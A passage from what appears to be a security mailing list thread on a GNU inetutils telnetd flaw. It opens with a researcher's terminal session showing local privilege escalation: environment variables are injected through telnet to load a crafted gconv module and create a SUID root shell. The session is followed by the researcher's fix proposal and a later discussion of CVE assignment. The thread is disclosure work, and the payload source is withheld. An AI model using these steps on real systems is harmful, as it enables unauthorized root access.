abuser@prospecton.hyperama:~$ ls -al .gconv total 184 drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so
abuser@prospecton.hyperama:~$ telnet -l abuser telnet> environ define GCONVPATH /home/abuser/.gconv telnet> environ export GCONVPATH telnet> environ define LANGUAGE fr:de:es:it:pt:nl:sv:pl:uk:ru:zhCN:ko:ja telnet> environ export LANGUAGE telnet> environ define OUTPUTCHARSET ISO-8859-1 telnet> environ export OUTPUTCHARSET telnet> open 127.0.0.1 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'.
Linux (localhost) (pts/6)
Connection closed by foreign host.
abuser@prospecton.hyperama:~$ ls -al .gconv total 184 drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so -rwsr-sr-x 1 root root 125640 Jan 1 1970 trash
abuser@prospecton.hyperama:~$ .gconv/trash -p # id uid=1001(abuser) gid=1002(abuser) euid=0(root) egid=0(root) groups=0(root),1002(abuser)
Once the telnet connection opens, /bin/login tries to print the localized prompt but gettext recognizes the encoding mismatch and calls iconvopen() to parse the gconv-modules file in the directory referenced by the injected path before loading the shared object that turns cash ($) to trash (#). The connection drops because I included a call to exit() once the payload has executed. As illustrated above, the payload effectively asserts root privilege and makes a copy of /bin/sh with SUID/SGID permissions. Note that no authentication via telnetd was required, nor performed, for this privilege escalation trick to occur. Also note that this is just one of many possible methods that may be used to exploit this condition.
In my opinion, to fix this issue and finally put the ghost of CVE-1999-0073 to rest: telnetd must drop the blacklist approach and adopt the OpenSSH AcceptEnv-style approach suggested by Simon Josefsson [1], which amounts to preparing a brand new environment for /bin/login based on a strict whitelist of variables names considered to be "safe", and perhaps a healthy dose of input sanitization for their respective values.
In terms of the CVE that Ron Ben Yizhak had asked about earlier in the thread: I think it might make the most sense to co-ordinate a single CVE for "Improper environment sanitization in telnetd" that comprehensively covers both the CREDENTIALSDIRECTORY vector and this dynamic linker escape.
I'm happy to share the intentionally redacted payload privately with the maintainers should any help be required to reproduce the proof of concept.
Regards, Justin
---
[1] https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00002.html
Hi Guillem and Salvatore,
On Fri, Feb 27, 2026 at 01:09:57PM +0100, Guillem Jover wrote: On Tue, 2026-02-24 at 11:57:34 +0200, Ron Ben Yizhak wrote: I’d like to ensure we follow the standard CVE process here. Standard practice dictates that a CVE is issued per individual fix. Generally, once a fix is merged and released, it is assigned its own CVE. Even if that fix is later bypassed, the original merge stands as a unique event in the codebase, meaning we should issue two separate CVEs rather than grouping them. Salvatore Bonaccorso from the Debian Security Team got a CVE assigned for this, see <https://www.cve.org/CVERecord?id=CVE-2026-28372>. I'll update the Debian packaging on the next upload to point to that. The CVE description says:
"telnetd in GNU inetutils through 2.7 allows privilege escalation that can be exploited by abusing systemd service credentials support added to the login(1) implementation of util-linux in release 2.40. This is related to client control over the CREDENTIALSDIRECTORY environment variable, and requires an unprivileged local user to create a login.noauth file."
So is this CVE only for the attack vector reported by Ron Ben Yizhak, and not also for the other attack vector and more general issue reported by Justin Swartz?
If so, are you going to assign a second CVE for the more general issue?
I am not convinced "the standard CVE process" is exactly as Ron Ben Yizhak describes it above, but I don't mind doing things in this way.
It sometimes happens that a fix is released as being for a certain CVE, and then a second CVE has to be assigned for the "incomplete fix", where the incompleteness of the first fix is the new vulnerability. But with no CVE assigned yet, we didn't have to do it this way. We could have one CVE for the set of issues, and not treat "the original merge" as fixing any CVE at all.
But again, I don't mind, and I understand that we also need to enable researchers to find and report such issues during work hours, which means making employers happy with credits and CVEs. It isn't wrong to have separate CVEs, so we may.
Just need to clarify.
Alexander
Hi!
On Fri, 2026-03-06 at 16:16:49 +0100, Solar Designer wrote: On Fri, Feb 27, 2026 at 01:09:57PM +0100, Guillem Jover wrote: On Tue, 2026-02-24 at 11:57:34 +0200, Ron Ben Yizhak wrote: I’d like to ensure we follow the standard CVE process here. Standard practice dictates that a CVE is issued per individual fix. Generally, once a fix is merged and released, it is assigned its own CVE. Even if that fix is later bypassed, the original merge stands as a unique event in the codebase, meaning we should issue two separate CVEs rather than grouping them. Salvatore Bonaccorso from the Debian Security Team got a CVE assigned for this, see <https://www.cve.org/CVERecord?id=CVE-2026-28372>. I'll update the Debian packaging on the next upload to point to that. The CVE description says:
"telnetd in GNU inetutils through 2.7 allows privilege escalation that can be exploited by abusing systemd service credentials support added to the login(1) implementation of util-linux in release 2.40. This is related to client control over the CREDENTIALSDIRECTORY environment variable, and requires an unprivileged local user to create a login.noauth file."
So is this CVE only for the attack vector reported by Ron Ben Yizhak, and not also for the other attack vector and more general issue reported by Justin Swartz?
If so, are you going to assign a second CVE for the more general issue? I'm not part of the Debian Security Team (I just maintain the inetutils package in Debian), but I think they assigned a CVE because there didn't seem to be one coming from upstream. I guess the expectation would be that if there's a new CVE to be assigned that would be handled by upstream, but if it's needed and it's not forthcoming they might assign another one? (Although the easier way forward would be to reuse the existing one, and issue an update for the DSA.) I am not convinced "the standard CVE process" is exactly as Ron Ben Yizhak describes it above, but I don't mind doing things in this way.
It sometimes happens that a fix is released as being for a certain CVE, and then a second CVE has to be assigned for the "incomplete fix", where the incompleteness of the first fix is the new vulnerability. But with no CVE assigned yet, we didn't have to do it this way. We could have one CVE for the set of issues, and not treat "the original merge" as fixing any CVE at all. To me both issues are caused by the same root cause, so in my mind a single CVE makes sense. But… But again, I don't mind, and I understand that we also need to enable researchers to find and report such issues during work hours, which means making employers happy with credits and CVEs. It isn't wrong to have separate CVEs, so we may. …I don't really care, and I also don't mind if that's very important to the researchers and people are happy to assign new CVEs, I'm happy to add/amend references to any such CVE in the debian/changelog for the package.
My plan right now is to just take the patches that have floated in the bug-inetutils mailing list, fixing the root cause and upload that to Debian as a fix to the existing CVE, as there's otherwise not been much movement there (to merge or include as part of a release). If there's a future CVE assigned I'd amend any references.
Thanks, Guillem